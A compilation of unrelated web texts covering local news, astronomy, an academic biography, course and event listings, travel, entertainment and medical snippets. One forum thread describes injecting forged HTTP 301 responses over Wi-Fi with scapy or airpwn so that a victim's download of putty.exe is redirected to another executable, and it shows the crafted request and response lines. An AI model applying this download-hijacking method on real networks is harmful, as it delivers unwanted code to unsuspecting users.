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Farmington • The Davis County Commission has approved a tentative budget for the 2013 calendar year that bumps spending up slightly in anticipation of more revenue but also decreases the staff by the equivalent of 15 full-time workers.
The $101.6 million tentative budget which is balanced and does not include a tax increase is an almost $3 million increase over the current year's $98.7 million budget. Finance Director Jonathan Lee said the increase is based on the revenue expected to come in because of a growth in tourism and sales tax due to a better economy.
A big part of the staff decrease will come when the Health Department closes its vehicle inspection and maintenance center in Kaysville at the end of this year.
About 20 full- and part-time employees, whose hours total 17 full-time positions, work at the center. Five will be retained in various positions and the rest are being let go, according to Lewis Garrett, director of the Davis County Health Department.
Davis County employs the equivalent of about 900 full-time workers.
Garrett said a legislative bill that significantly reduces the number of required safety inspections was one factor in the decision to close the center.
The tentative budget was approved Nov. 1 by the commission. Copies of the tentative budget will be available beginning Wednesday, Nov. 21, at the Davis County Administration Building, 61 S. Main St. in Farmington.
A vote on a final budget is scheduled for Dec. 4, after a public hearing that starts at 6 p.m. at the administration building.
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Alpha Centauri is one of my favourite stars and it just got even more interesting. Astronomers from the European Southern Observatory have found a planet orbiting around it.
These days finding another exoplanet, that is a planet that orbits a distant star, isn't so unusual. We know of over 800 exoplanets and the Kepler spacecraft has spied 2,000 more that are waiting confirmation.
But this one is special because of its star. Here's why…
Alpha Centauri is lovely and bright, the third brightest star in the night sky, and it is prominent in our southern sky. It is the brighter star of the Two Pointers, which lead us to the Southern Cross.
Alpha Centauri (yellow star on the far left) and Beta Centauri (blue star to the right of Alpha Centauri) point towards the Southern Cross.Image: Akira FujiiSource: Akira Fujii
Alpha Centauri is also great to look at through a telescope. What appears as a single bright star in the night sky, becomes two stars when seen through even a modest telescope. Both of the Sun-like stars – Alpha Centauri A and Alpha Centauri B – are quite similar so it looks like you're seeing double. (A fair distance away there's a third star too, Alpha Centauri C or Proxima Centauri, a faint red dwarf star).
At just over four light years away (or roughly 40 million million km) Alpha Centauri is the closest star to our Sun. If ever we manage to develop the capability for space travel, this is sure to be the star system we set our sights on.
And now it has a planet! The planet is orbiting Alpha Centauri B and it was hard to find, taking over four years of observations. Many follow up investigations will now begin so as to be absolutely certain.
Artistic impression of the planet around Alpha Centauri B.Source: ESO/L. Calcada/Nick Risinger
The new found planet has a mass similar to Earth, but takes only 3.2 days to orbit the star. It's a scorched world, with temperatures soaring over 2000°C.
But finding one planet in this star system is really encouraging and there just might be others. If a planet was found at a more reasonable distance from this Sun-like star, it would be very interesting as far as life is concerned.
Any night sky talk I've ever given always includes Alpha Centauri. It's exciting after all these years to learn something new about it.
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In addition to his academic work, Sidel has served as president of the International Society for Third Sector Research (ISTR), the international academic association working to strengthen research on civil society, philanthropy and the nonprofit sector. He currently serves as consultant on Asia (focusing on China, Vietnam, and India) to the International Center for Not-for-Profit Law (ICNL), including its MacArthur Foundation-funded work to assist in the development of nonprofit law in China; on the Council on Foundations Community Foundations National Standards Board, the national accrediting and standard setting body for American community foundations and trusts; and on the boards of the Association for Research on Nonprofit Organizations and Voluntary Action (ARNOVA) and the Society of American Law Teachers (SALT).
Other recent advising and consulting assignments include the Bill and Melinda Gates Foundation (on philanthropic law and policy in China); the Ford Foundation (legal reform programs in China); Norwegian Centre for Human Rights (human rights and legal reform programming in China and Vietnam); DANIDA (Danish Development Cooperation, human rights and legal reform programs in Vietnam); Indevelop/SIDA (Swedish International Development Cooperation Agency, human rights programs in China); and other international and donor organizations.
Professor Sidel has served as Visiting Professor of Law at Harvard Law School, Melbourne Law School, Institut d'Etudes Politiques de Paris (Sciences Po, in the "chaire Asie"), Victoria, Vermont and Miami law schools and other institutions, and as W. G. Hart Lecturer in Law at the School of Oriental and African Studies (SOAS) in the University of London. In 2008 he won the ICNL-Cordaid Civil Liberties Prize for his work on the impact of anti-terrorism law on civil society in comparative perspective, and in 2012 he was named to the Outstanding Academic Award by the Nonprofit Organizations Committee of the American Bar Association, Business Law Section. He is a graduate of Princeton University (A.B. in history, 1979), Yale University (M.A. in history, 1982), and Columbia Law School (J.D., 1985).
Professor Sidel's research and writing focus on the nonprofit sector and philanthropy (with a focus on Asia and the United States); law and development; comparative law; and human trafficking.
In addition to scholarly and policy articles, his books include:
- Regulatory Waves: Comparative Perspectives on State Regulation and
Self-Regulation in the Nonprofit Sector
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- Central-Local Relations in Asian Constitutional Systems
(Hart Publishing, 2015, ed. with Andrew Harding)
- State, Society and the Market in Contemporary Vietnam: Property, Power and Values
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- Regulation of the Voluntary Sector: Freedom and Security in an Age of Uncertainty
(Routledge 2010)
- The Constitution of Vietnam: A Contextual Analysis
(Hart 2009)
- Law and Society in Vietnam
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- Cinema, Law, and the State in Asia
(Palgrave MacMillan 2007, ed. with Corey Creekmur)
- Vietnam's New Order: International Perspectives on the State and Reform
(Palgrave Macmillan 2006, ed. with Stephanie Balme)
- More Secure, Less Free? Antiterrorism Policy and Civil Liberties after September 11
(University of Michigan Press 2004, updated 2nd ed. 2007)
- Philanthropy and Law in South Asia
(APPC 2004, ed. with Iftekhar Zaman, updated ed. 2007)
- Old Hanoi
(Oxford University Press, 1998)
Sidel's work has also appeared in ForeignPolicy.com, Nonprofit and Voluntary Sector Quarterly, International and Comparative Law Quarterly, Michigan Law Review, Voluntas, Michigan Journal of International Law, Pittsburgh Law Review, Texas International Law Journal, Tulane Law Review, Charity Law and Practice Review, UCLA Pacific Basin Law Journal, UC Davis Law Review, Chicago-Kent Law Review, China Quarterly, Asian Survey, SAIS Review, Signs, and other academic and professional journals, as well as in edited volumes. He also serves as editor for the Routledge book series on Civil Society in Asia.
Sidel has extensive and senior experience in international philanthropic and funding communities. He first served on the Ford Foundation team that established the Foundation's office in China and as the Foundation's first program officer for law, legal reform, and nonprofit organizations based in China (Beijing). Then, in the early and mid-1990s, he developed and managed all of Ford's programs in Vietnam. Later he developed and managed the regional program on philanthropy and the nonprofit sector for the Ford Foundation in South Asia (New Delhi). Sidel also served on the Ford Foundation's Endowment Working Group and as a drafter of the Foundation's endowment handbook.
Before coming to Wisconsin, Sidel served as Professor of Law, Lauridsen Family Fellow, and Faculty Scholar at the University of Iowa. Sidel also serves on the board of directors of the Association for Research on Nonprofit Organizations and Voluntary Action (ARNOVA), and he serves or has recently served on the advisory boards of the International Center for Not-for-Profit Law (ICNL); Human Rights Watch Asia advisory board; the Business for Social Responsibility (BSR) Ciyuan Philanthropy Initiative in China; the University of Wisconsin Press; Maxwell School Transnational NGO Initiative at Syracuse University; Bridge to Asia; and YMCA Camp Wapsie (Coggon, Iowa). Sidel is a member of the editorial boards of the Law and Social Research; Nonprofit and Voluntary Sector Quarterly; Voluntas: International Journal of Voluntary and Nonprofit Organizations; and the Australian Journal of Asian Law (Melbourne).
Professor Sidel has also served as litigative consultant to the U.S. Department of Justice in the largest prosecution of slavery, human trafficking and involuntary servitude since the Civil War, a criminal case involving the servitude of several hundred Vietnamese and Chinese women garment workers (U.S. v. Kil Soo Lee et al), and has served as a consultant to the U.S. State Department on human trafficking and labor law issues. He serves frequently as an expert for British courts in human trafficking cases.
Sidel practiced law with Baker & McKenzie in New York, Beijing and Hong Kong and is a non-active member of the New York bar. He speaks and reads Chinese and reads Vietnamese.
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Summer Bridge is a three-week program that supports the transition of first-time freshmen to the university. The program is designed to provide:
- An orientation-to-college experience that offers students information and tools to successfully navigate the campus,
- An opportunity to enhance math and English skill levels,
- Support systems and student advocates.
What happens in Summer Bridge?
- Students take a math and writing course designed to fulfill the Early Start requirement.
- Students who pass the Math Challenge Exam will receive 3 units of credit and complete the math remediation requirement.
- Students who pass the writing course will receive 3 units of credit
- Student will be a part of a learning academy where they will receive support from an instructor, a counselor, tutors and other peers.
Summer Bridge helps students:
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- Prepare to meet the demands of college life
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There is at least one common exception to the usual gradual development of symptoms. Sudden complete urine obstruction may occur in an elderly person due to dementia, inability to get out of bed, or drug side effects. The bladder may stretch to the size of a six-month pregnancy and fill the lower half of the abdomen. In such a case, emergency catheterization is required.
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AMES, Iowa — Iowa Learning Farms and the Iowa Department of Agriculture and Land Stewardship are hosting a tour of Conservation Reserve Enhancement Program (CREP) wetlands in Dickinson County on Thursday, July 12, beginning at 1:30 p.m.
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Tour participants are encouraged to bring their hiking boots or waders for an up-close look at the wetland structures. Matt Lechtenberg and Shawn Richmond, CREP specialists with IDALS, will lead the tour and talk about the benefits, installation and financial incentives for these structures.
There are 37 counties in north-central Iowa eligible for enrollment in CREP. Iowa State University research has demonstrated that strategically sited and designed wetlands can remove 40-90 percent of nitrates and more than 70 percent of herbicides from cropland drainage waters. These areas are as beautiful as they are functional.
Iowa Learning Farms is building a Culture of Conservation, encouraging adoption of residue management and conservation practices. Farmers, researchers and ILF staff are working together to encourage farmers to implement the best in-field management practices that increase water and soil quality while remaining profitable. Iowa Learning Farms is a partnership of the Iowa Department of Agriculture and Land Stewardship, Iowa State University Extension, Leopold Center for Sustainable Agriculture, Iowa Natural Resources Conservation Service, and Iowa Department of Natural Resources and the USEPA (section 319); in cooperation with Conservation Districts of Iowa, the Iowa Farm Bureau and Iowa Water Center.


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Balding parrot - I remember reading your tutorials on bt2/3 from back in the day! It is great that you are stil so active!
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Hi all. I've been a Back|Track user since BT2, and couldn't be happier that they've moved from nasty Slax to Ubuntu. I'm still learning a lot about tools and how/when to use them - there're a LOT of them!
I previously joined the old forums under the pseudonym "RedLXXXIV" but had an epiphany some time ago (a self-realization, actually) and traded in my old handle for a new one. Presently, I'm migrating from the old forum to the new one.
At work, I'm a Linux/UNIX/Windows/Web/Hardware SysAdmin, so you can bet my hands are quite full. The thing I love most about my job though, is that I get to bring my passion with me. It's also fun too, sometimes. The PEBKAC and 1D.10-T errors keep things interesting... or are at least a conversation piece around the office.
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'The 2007-08 renewal packages went out earlier this spring and DiPofi said more than 91 percent have already renewed for next year. The Sabres will cap their season-ticket packages at 14,800 next year. All 80 suites in HSBC Arena were sold this year, and while a handful come up for renewal after this season, DiPofi expects all to be renewed. The Sabres also have a small waiting list for the suites. Suites are leased in three-, five- or seven-year contracts.'
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:: Introduction to Financial Accounting
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|This ACC 201 class section is conducted on the Internet. It has a 6 week schedule and it is NOT self-paced.
|Course Requirements:
|Upon registration for this course, check your UH email account regularly for announcements.
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|Qualification for MATH 24 or higher. ENG 22 or higher.
Recommended preparation: ICS 100, or ICS 101.
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|ACC 201 is an introduction to accounting theory and methods to record and report financial information for sole proprietorships in service and retail operations. Introduction to accounting theory and methods for partnerships.
ACC 201 class section (CRN 35002)is conducted on the Internet. This class has a 6 week schedule and it is not self-paced.
https://laulima.hawaii.edu/portal with
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Course delivery is generally through the use of Internet contents and virtual office meetings. Students MUST check Hawaii.edu emails regularly to keep up with announcements, homework, assignments, exams, etc.
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Renowned for their powerful stage presence and high energy style, the Koresh Dance Company will perform at the Francis Marion University Performing Arts Center on Saturday, Oct. 11 at 7:30 p.m.
The company, hailed as a vital force to both national and international stages, was founded in 1991. The troupe presents its audiences with an exciting and emotional blend of ballet, modern dance and jazz molded into a style of choreography that is both eloquent and explosive. There is something for everyone in Koresh's exhilarating performances. This show will include excerpts from different works: Looking Back: The Music of the 40s & 50s, Through the Skin, Sense of Human and Theater of Public Secrets.
This performance is funded in part by a grant from South Arts Partnership with the National Endowment for the Arts and the South Carolina Arts Commission.
Tickets for this show start at $28 and may be purchased at www.fmupac.org, via telephone at (843) 661-4444, and at the FMU Performing Arts Center Box Office. Telephone and personal ticket sales are available Monday through Friday between 12-5 p.m. Subject to availability, tickets may be available for purchase at the door.
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Metallica Making Glastonbury Debut This Weekend
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Like it or not, Metallica is headlining Glastonbury this weekend. The decision to bring the American heavy metal band to Britain's so-called "hippie" festival sparked controversy.
The UK's Independent cites a recent survey saying nearly 80% would resell their tickets if they could. Organizers devised a way to sell tickets that prevents scalping, but also prevents legitimate ticketholders from reselling.
Metallica was a late addition to the lineup, and was announced after tickets went on sale. Glastonbury founder Michael Eavis has defended Metallica's appearance, saying there's never been an act "so keen to play."
Band members have also expressed their enthusiasm along with a promise to be respectful of the iconic event. Metallica is set to headline Glastonbury's Pyramid Stage on Saturday.
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(CNN) -- Cross-country skiing is less speedy -- and therefore less intimidating -- than its steep-sloped cousin, downhill skiing. It also burns more calories, as skiers glide along snowy trails and skate up inclines.
Trail passes at Tahoe Cross Country Ski Area are $21 for adults -- but ask about specials.
So, for those of you trying to stay true to your 2009 resolutions, the sport may be the perfect way to get more exercise and take in a dose of nature in the process.
CNN asked Ron Bergin, publisher of Cross Country Skier magazine, to recommend five places to hit the horizontal slopes.
Tahoe Cross Country Ski Area, Lake Tahoe, California
The area around Lake Tahoe, which straddles the border between California and Nevada, is ripe with cross-country skiing opportunities.
So much so, said Kevin Murnane, general manager of the Tahoe Cross Country Ski Area, that "you can spend a whole week here and ski at a different area every day."
Bergin said the lakeside scenery is top-notch, as is the skier culture. You likely will find buddies who will share trail stories and a drink after a long day on the trails.
Murnane's ski area allows dogs on some trails and offers free lessons to help learners adjust to the balance-intensive sport.
Trail passes at Tahoe Cross Country Ski Area are $21 for adults, but ask about specials. On Tuesdays, passes run $12. Groups and early-morning skiers also get a discount.
Trapp Family Lodge, Stowe, Vermont
Owned by descendants of Maria von Trapp -- yes, that Trapp family, whose life inspired "The Sound of Music" -- the Trapp Family Lodge brings a little piece of Austria's lively hills to the mountains of Vermont.
Johannes von Trapp, the real Maria's youngest son, helped open the lodge in 1968. The family had been in the lodging business before the musical film starring Julie Andrews debuted in 1965.
For Bergin, the history itself is a draw. So is the fact that the luxury lodge, which still pulls off a quaint charm, is dedicated to cross-country skiing.
"It's beautiful. It backs up to the mountains and you've got a great view of a lot of trails," Bergin said.
The lodge offers a range of promotions, from wine-and-dine packages to those geared toward "winter wellness."
The lodge offers rooms and chalets ranging from $275 to $475 per night. Go for the two-night package and you'll get ski rentals, breakfast, dinner and lodging for both days for $500 per person.
Methow Valley, Winthrop, Washington
Northeast of Seattle in the Cascade Mountains, nearly 125 miles of ski trails connect the villages of Methow Valley. It's almost as if cross-country skiing becomes a form of transportation in and around the area, Bergin said.
While the linear path is "not a typical layout" compared to most cross-country loops, Bergin said the trails offer a sense of adventure and exploration.
At one end, you'll find The Sun Mountain Lodge, which is the area's luxurious gem. But the valley also has hangouts for the Bohemian traveler: The Old Schoolhouse Brewery sells $4 pints in a smart red building and the local food cooperative offers organic smoothies and sandwiches.
Trail passes run $20 for adults and $10 for teens ages 13 to 17.
Stokely Creek Lodge, Goulais River, Ontario, Canada
Located in Ontario, Canada, north of Michigan's Upper Peninsula, this remote lodge gives skiers a serene escape from the bustle of everyday life.
"You ski away from the lodge and immediately you feel like you're out in the wilderness," Bergin said. "All of a sudden, you're just transported from the day-to-day."
The natural scenery -- more than 12 square miles of it -- is varied and always exciting, he said. Around some curves, skiers will find a cold creek. Other areas are known for hills or lakes that seem like they're in the middle of nowhere.
The lodge offers $15 day passes for groups of ten or more; kids 18 and younger pay $10 and adult passes are $18. For the full treatment, though, two adults can stay the night at rates ranging from $98 to $170. That includes two ski passes and three meals, which, according to lodge manager Jamie Martin, are almost as big a hit as the skiing. The kitchen serves highbrow treats like filet mignon and Cornish hen, he said.
Northern Wisconsin is proof that you don't need huge mountains for good skiing.
The Cable Area -- which includes the towns of Cable, Drummond, Namakagon and Grand View -- boasts one of the world's biggest cross-country ski races and is regarded by some as the birthplace for the sport in North America, Bergin said.
Bergin, who lives in the area, called the Cable Area the "Mecca" for cross-country skiing in the region.
"Within the radius of an hour's drive, you could probably find 30 or 40 trail systems of all sizes and shapes," he said. "There's quite a skiing culture."
The Telemark Resort offers trail passes that are cheaper than most: $11 per day. Lodging at the resort ranges from $79 for a room in the lodge to $275 for a 1,000-square-foot condo, said Darrell Buchmann, the resort's general manager.
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A long history of growing grapes and making wine, but less of a history on exporting it, and even lesser on the quality aspect. At the turn of the century (1900, that is), a surplus of wine in South Africa created a hierarchy of cooperatives, the biggest and best known being KWV. This organization seemed to favor quantity over quality and had most control over wines and vineyards until the late 1980's. Now, with a bit more competition, quality is coming around. Yet, South African wine was not even seen in American wine stores until the mid-1990's – the trade embargo on the country for their racial apartheid laws kept South African wine out of the US. When apartheid fell, so did the embargo, and SA bottles began showing up on US shelves.
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Lucy Hale postpones Opry debut
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Lucy Hale is having to wait a little longer to log one milestone in her country music career.
The actress and singer was scheduled to make her Grand Ole Opry debut on last Friday's show, but illness forced her to cancel the appearance.
A new date for Lucy's first Opry performance hasn't been announced yet.
Hale is best known for the role of Aria Montgomery on the ABC series "Pretty Little Liars." Lucy released her debut country single, "You Sound Good to Me," last month.
Her first album, Road Between is expected to arrive in stores on June 3rd.
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By Rich Myhre Herald Writer
EDMONDS — For as long as she can remember, Katy Walker has loved hockey. She started playing as a young girl growing up in Edmonds, and continued for another four years at Elmira College in Elmira, N.Y., an NCAA Division III national power.
So when the chance came to continue her career for another season, Walker jumped at the offer — even when it meant spending the better part of a year halfway around the world.
Before returning home in March, the 22-year-old Walker had spent the previous seven months in Belarus, an eastern European country tucked between Poland to the west and Russia to the east. She lived in the capital of Minsk, a city with a population of around 2 million people, and played for a team called Pantera Minsk (Pantera is Russian for Panthers).
It was, she said, "a great experience. I love playing hockey, but it was also a chance to go somewhere I'd never been and see a lot of countries I'd never been to."
As a recent college graduate, "I didn't really have anything else lined up," she said. "So it was like, 'Why not?' The timing was great and the experience was available."
The 22-year-old Walker attended Edmonds-Woodway High School through her junior year. By then she was playing for a top club team in Colorado, and for her senior year she transferred to a school in Littleton, Colo., where she graduated in 2008.
She then went on and played for an Elmira College team that reached the national championship game in her freshman season, and then won the national title the year after she graduated.
It was one of Walker's college assistant coaches who helped her get noticed by the team in Belarus. She was offered a contract and was soon on her way to Minsk, arriving in late August.
Right away she faced a big cultural adjustment, beginning with a major language barrier.
Most people in Belarus, including her coach and many of her teammates, speak only Russian. Some teammates knew a smattering of English words, though two teammates were fortunately fluent in English and became her unofficial translators.
"If (the coach) drew something on the board, the pictures were easy," Walker said. "Each of our (hockey) lines had a color, so I learned the colors of the four lines we had. And I learned numbers, too. But for the most part he'd talk and then I'd go ask one of the girls who spoke English, 'What'd he say?'
"But even with the girls who only spoke Russian, we still had a common thing and that was hockey. We could smile over a good pass or a nice goal. You don't need to talk for that kind of stuff. So hockey definitely helped (create a) bond with teammates you couldn't necessarily communicate with."
Her team played in the Elite Women's Hockey League (EWHL), one of the top women's pro hockey leagues in the world. There are eight teams, with three in Austria, two in Germany, one in Switzerland, one in Italy and one in Belarus.
Because the EWHL restricts the number of non-native players on team rosters, Walker was the only American on Pantera Minsk. A Canadian player, Jess Jones from Picton, Ontario (she played at Mercyhurst University in Erie, Pa.) showed up a month later, becoming Walker's roommate and close friend.
Pantera Minsk ended up qualifying for the league playoffs and went on to win the championship, beating a team from Vienna, Austria, in the title match, 6-1.
Like most other countries in the world, traces of America can be found in Belarus. McDonald's restaurants seem to be everywhere, Walker said, "and they're packed all the time. Crazy packed. Lines out the door. That was interesting."
Likewise, some American products could be found in grocery stores. Heinz Ketchup, for example. Otherwise, Walker said, "we'd go to the grocery store and have to shop by pictures. I never learned how to read the language because it's a different alphabet."
Some American TV programs were telecast in Belarus, albeit with Russian voiceovers, but many U.S. internet web sites were restricted. What gave Walker her greatest connection to home was Skype, the internet communication site that allows visual and verbal communication from almost anywhere in the world.
Walker even remembers watching the Seattle Seahawks in last winter's NFL playoffs via Skype. Her parents would position their computer next to the TV, allowing Walker and Jones to follow along.
Her salary was enough "that I didn't go in debt playing over there, but I certainly didn't make anything that would be like the pro lifestyle here," she said. "But it was enough that I could enjoy the experience and not be frantic about money."
As interesting as her stay in Belarus was, Walker has decided not to return next season. She was a mathematics major in college and figures it might be time to put those studies to work.
Looking back, she said, "I'm glad I went. It was a really good experience. There were times when things were frustrating, and then Jess and I would look at each other and it would be like, 'Oh, my goodness, what are we doing?' But then something else would happen and we'd be having fun."
And in the end, she said, "we made friendships with the girls on the team, and that was the hard part to leave. But I just kind of figured it was time for me to move on. I had a great experience, we won the championship and now it's time for me to start the next chapter of my life."


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The problem is that without advantages the arguments would go on for hours. With any points based system there will always be an incentive to stall once ahead on points, indeed it is a very effective strategy even at the highest level.
I agree with many of the points raised but whatever you do people will always take of advantage of the rules which leads to stalling.
The best way is submission only, it keeps the sport real, the less rules the better.
Submission only, 10 minute fights, if no submission then it goes to coin toss.
That would give a strong incentive to win a fight.


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Vegan Ice Cream Enters a Golden Age
July 21, 2017
Biliary atresia is a blockage in the tubes (ducts) that carry a liquid called bile from the liver to the gallbladder.
Biliary atresia occurs when the bile ducts inside or outside the liver do not develop normally. It is not known why the biliary system fails to develop normally.
The bile ducts help remove waste from the liver and carry salts that help the small intestine break down (digest) fat.
In babies with biliary atresia, bile flow from the liver to the gallbladder is blocked. This can lead to liver damage and cirrhosis of the liver, which is deadly if not treated.
Newborns with this condition may appear normal at birth. However, jaundice (a yellow color to the skin and mucous membranes) develops by the second or third week of life. The infant may gain weight normally for the first month, but then will lose weight and become irritable, and have worsening jaundice.
Other symptoms may include:
The health care provider will perform a physical exam, which includes feeling the patient's belly area. The doctor may feel an enlarged liver.
Tests to diagnose biliary atresia include:
An operation called the Kasai procedure is done to connect the liver to the small intestine, going around the abnormal ducts. It is most successful if done before the baby is 8 weeks old. However, a liver transplant may still be needed.
Early surgery will improve the survival of more than a third of babies with this condition. The long-term benefit of liver transplant is not yet known, but is expected to improve survival.
Call your health care provider if your child appears jaundiced, or if other symptoms of biliary atresia develop.
A-Kader HH, Balistreri WF. Neonatal cholestasis. In: Kliegman RM, Behrman RE, Jenson HB, Stanton BF, eds. Nelson Textbook of Pediatrics . 19th ed. Philadelphia, Pa: Saunders Elsevier; 2011:chap 348.1.


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Jake Gyllenhaal is all bundled up for that Mt. Everest cold while filming the movie about Everest in Rome.
Jessica and Maxwell Simpson.
Olivia Wilde and Jason Sudeikis attend another basketball game.
K-Fed orders some new knee length shorts and oversized t-shirts from the Kevin Smith collection.
Kevin Hart tries his hand at soccer.
Lana Del Rey goes for a walk and a smoke.
Aaron Paul promoting his new movie.
Robert Pattinson and the cow have moved in together and broken up several times over the past few weeks.


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News Release
For Immediate Release
November 8, 2012
Mary Maloney, Assistant Attorney General
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Attorney General Michael A. Delaney announces that Shell Oil Company and Sunoco, Inc. will pay $35M to settle pending claims against the companies in the case of State of New Hampshire v. Hess, et al. The State initiated the lawsuit in 2003 against refiners and manufacturers of gasoline containing methyl tertiary butyl ether ("MTBE") who supplied New Hampshire with MTBE gasoline.
The lawsuit, filed in Merrimack County Superior Court, alleges that a number of major oil companies, including the settling defendants, added MTBE to gasoline sold in New Hampshire knowing that it would contaminate ground water supplies. The State contends that the defendants knew they were supplying a product with unique hazards; specifically, that MTBE travels farther and is more difficult to clean up than other contaminants. The State is seeking damages to perform comprehensive investigation and remediation of MTBE contamination sites.
Trial against the remaining defendants is scheduled to begin in Concord on January 7, 2013. The remaining defendants are Exxon/Mobil Corporation, Irving Oil Co., Citgo Petroleum, ConocoPhillips Co., and Vitol S.A.
Attorney General Delaney stated: "We must ensure that our public waters remain clean and safe for the benefit of all our citizens. My office will continue to hold oil companies responsible for their role in causing groundwater contamination in this state." He further stated, "We have reached a $35M settlement with Shell and Sunoco. This is a substantial recovery that will be used to clean up contaminated groundwaters throughout New Hampshire."
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I believe this is called header injection.
does anyone have any knowledge regarding replacing .exe file request on a broadcast network by exploiting a race condition... from what i understand at the moment one can sniff network traffic and on finding the "content-type:application" as a request respond to it with his own binary file,,, i think this would be even more cool than using ettercap filters and injecting code on the fly into an html page....
if this is possible it can also lead to a whole new kind of injection attack in 802.11 network where an attacker can send data to the victim with out even being associated to the AP.
I believe this is called header injection.
Thanks a lot,,, it looks like HTTP 301 response is the best thing to do i have even seen an ettercap filter doing the same... will try to implement this using scapy on a wifi network,,, now must sit and start reading up on TCP to understand how the sequence number and ack numbers works and how the checksum is calculated...
there is another way of accomplishing this,,, we can write a customised tcp stack which should race and respond to the GET request,, but the problem is this might become too complicated since i am trying to do using packet injection for a 802.11 network with out being associated to the AP.& i dunno how to handle and send executable files in packets... although i would like to learn about it anybody who could put some light on this topic or point me to some interesting article would be great... any suggestions or alternative way of doing this will also be greatly appreciated.
alright i have acheived some progress but im stuck again
when a get request is being made say
i am repling back with a 301 response as suchCode:GET /~sgtatham/putty/latest/x86/putty.exe HTTP/1.1 Host: the.earth.li
but the resultant is turning out to be a request made toCode:HTTP/1.1 301 Moved Permanently Location: http://spool.metasploit.com/releases/framework-3.2.exe
can anyone point me out to what i am doing wrong.Code:/releases/framework-3.2.exerth.li/~sgtatham/putty/latest/x86/putty.exe
What tool are you using to do this?
One thing Mister_X kindly shedded on light on was that airpwn _should_ actually be able to do this out of the box. Unfortunately, I've neve got airpwn to work right with mac80211 (even though it's "supported"). I'll try a test with my rt73 card soon and see if it will work in this scenario.
dd if=/dev/swc666 of=/dev/wyze
the problem was the 301 response had to end with a \r\n which was missing, therefore the problem occured now its working but there is another problem the race conditon is effectively being exploited only the first time since the first response being generated is inducing some amount of latency in the program all the other get request are being retrieved from a buffer which are already being serviced by the authentic source therefore no more race condition exists because the program becomes slow and looses the race... any help with the program will be appreciated greatly
at the moment the only solution i think to the problem is that somehow flush the buffer and start the sniffer again... or somehow get the sniffer to stop sniffing when the program is injecting the packet.
by the way i am using scapy.
even i faced the same problem with airpwn for sometime but later on figured out that running airodump using the "-c" on the same channel as the victime network gets airpwn to correctly inject the data.


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Thursday, September 30, 2010
I'm thrilled beyond measure to report that THE EXILE debuts at
on the New York Times Graphic Books Bestseller List for Oct. 10!
THANKS SO MUCH, from me and Hoang!
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Yay!!! And congratulations!!!ReplyDelete
YAY! I can't wait to get it.ReplyDelete
Woot! Way to go!ReplyDelete
This makes it worth the weird looks I got at the book store when I asked for the graphic novel section!!ReplyDelete
Congratulations to you both!!!ReplyDelete
That's marvelous...congratulations!ReplyDelete
- oorjanieSeptember 30, 2010 at 6:57 PM
Thank you to you and Hoang for a wonderful collaboration! Enjoyed it. So great to hear it is #1! Woohoo.ReplyDelete
So, more in store? hehe
Searching through the shelves of Manga was worth it!ReplyDelete
Congratulations Diana! Just when they thought they'd finally figured out under which heading to classify your work ;)ReplyDelete
- AnonymousSeptember 30, 2010 at 7:50 PM
Wow - I never even thought of that when buying my copy. Congratulations, Diana. This is terrific news! :)ReplyDelete
You write it, we buy it. Heckuva deal, eh? So bring on Book 8 & Scottish Prisoner!!!!ReplyDelete
FANtastic!! You are the best and so is Hoang...such a talent!ReplyDelete
Congratulations to you and Hoang! Exciting news and well-deserved!ReplyDelete
Congrats, and well deserved!ReplyDelete
i skipped work to get it, and read it.ReplyDelete
completely worth it, and the art is great!
only problem is, it's now the only book i own of yours that isn't signed... ack, what's a rabid fan to do?
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I loved it and I did get my autographed copy from the Poisoned Pen!!! Yay!!!!!
Yay! I can't wait to read it. I'm still hoping I'll be able to find it digitally. Is this being released as an ebook?ReplyDelete
That's FABULOUS - congratulations!ReplyDelete
I inhaled mine the night it arrived...and keep it at bedside to wander the pages at will.
Through a supreme effort of will, I managed to stretch the actual reading of my copy out for four days. (Gotta savor it, after all.)ReplyDelete
Now I just thumb through it and think to myself how lovely the pictures are.
Your welcome!ReplyDelete
Congratulations to you both! Well deserved, of course.ReplyDelete
You are welcome Diana. You and Hoang must celebrate your achievement well! A lot of hard work has paid off!ReplyDelete
Was there ever any doubt? We are loyal fans :)ReplyDelete
Honestly, it took me a while to warm up to the GN genre. But after hearing you speak last night in Pasadena, I understood the essence of the book as well as the genre. I can say now that I enjoy the entertainment these pages bring out.ReplyDelete
I toast (with my cup of coffee) to a well deserved #1!
- AnonymousOctober 1, 2010 at 9:58 AM
No, no Diana..... "Thank-you and Hoang so much". You deserve it!ReplyDelete
I'm so happy for you both. I loved it! It looks great next to all my other Outlander books!ReplyDelete
Congratulations! I loved it!ReplyDelete
I pre-ordered mine from Amazon back in January and had a countdown on my computer awaiting the arrival! Only complaint: finished reading it too fast! Of course, there will be many re-reads..ReplyDelete
Yeah for you!Many more.ReplyDelete
Your welcome.. I am always gald to support the Outlander cause.. It was a beautiful book Diana, thank-you for creating it.. 'Twas a real gift.ReplyDelete
that was meant to ne 'glad' not 'gald'... I loathe not being able to correct my mistakes once posted.. Ugh.ReplyDelete
Brilliant book - when are the next 6 or 7 coming out?ReplyDelete
Yeah! We didn't doubt that it would anyway. Brilliant!ReplyDelete
- SaqqaraOctober 5, 2010 at 2:19 PM
Congrats! Just saw my friend's copy of The Exile and wanted to steal it. Morality won out, and I'm going to wait for my own to arrive.ReplyDelete
I finally got home and found my copy waiting. It's beautiful! I'm not a huge graphic novel fan, but I'm very much enjoying this.ReplyDelete
Congrats to you both! I got my copy and it is wonderful! I really enjoyed reading! I am happy for you both!ReplyDelete
- cayenneOctober 7, 2010 at 10:44 AM
Congrats! It's totally deserved - I loved it. I hope this success means there will be a follow-up.ReplyDelete


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By Gale Fiege Herald Writer
ARLINGTON — Mike Kelly makes it look easier than it is.
He gets around in a wheelchair. He's successful in his job. He likes to laugh, and he loves his wife.
But Kelly's body is failing. Paralysis is coming. Eventually, amyotrophic lateral sclerosis will take him down.
"Looking at the man in the mirror each morning is hard for me. It isn't without anger," Kelly said. "What grounds me, though, is that I know that there are no guarantees in life. Only a fool would believe that it couldn't be his turn at the next highway intersection."
ALS is a progressive neurodegenerative disease that affects nerve cells in the brain and the spinal cord. According to the ALS Association, people in the early stages of the disease have muscle weakness, especially involving their arms and legs, their speech, swallowing and breathing. It only gets worse. In time, all muscles atrophy and cease to function. There is no cure.
Mike and his wife, Teki Kelly, both 49, met online in 2002.
"Our deal-breaker lists were pretty darn close," he said.
Together they have four grown children. They moved to Arlington in 2004 and were married in 2006.
"It was the second rodeo for both of us and we were excited about life," Teki said.
Around Thanksgiving 2009, however, the couple realized something was wrong with Mike.
"I couldn't clip my toenails," he said.
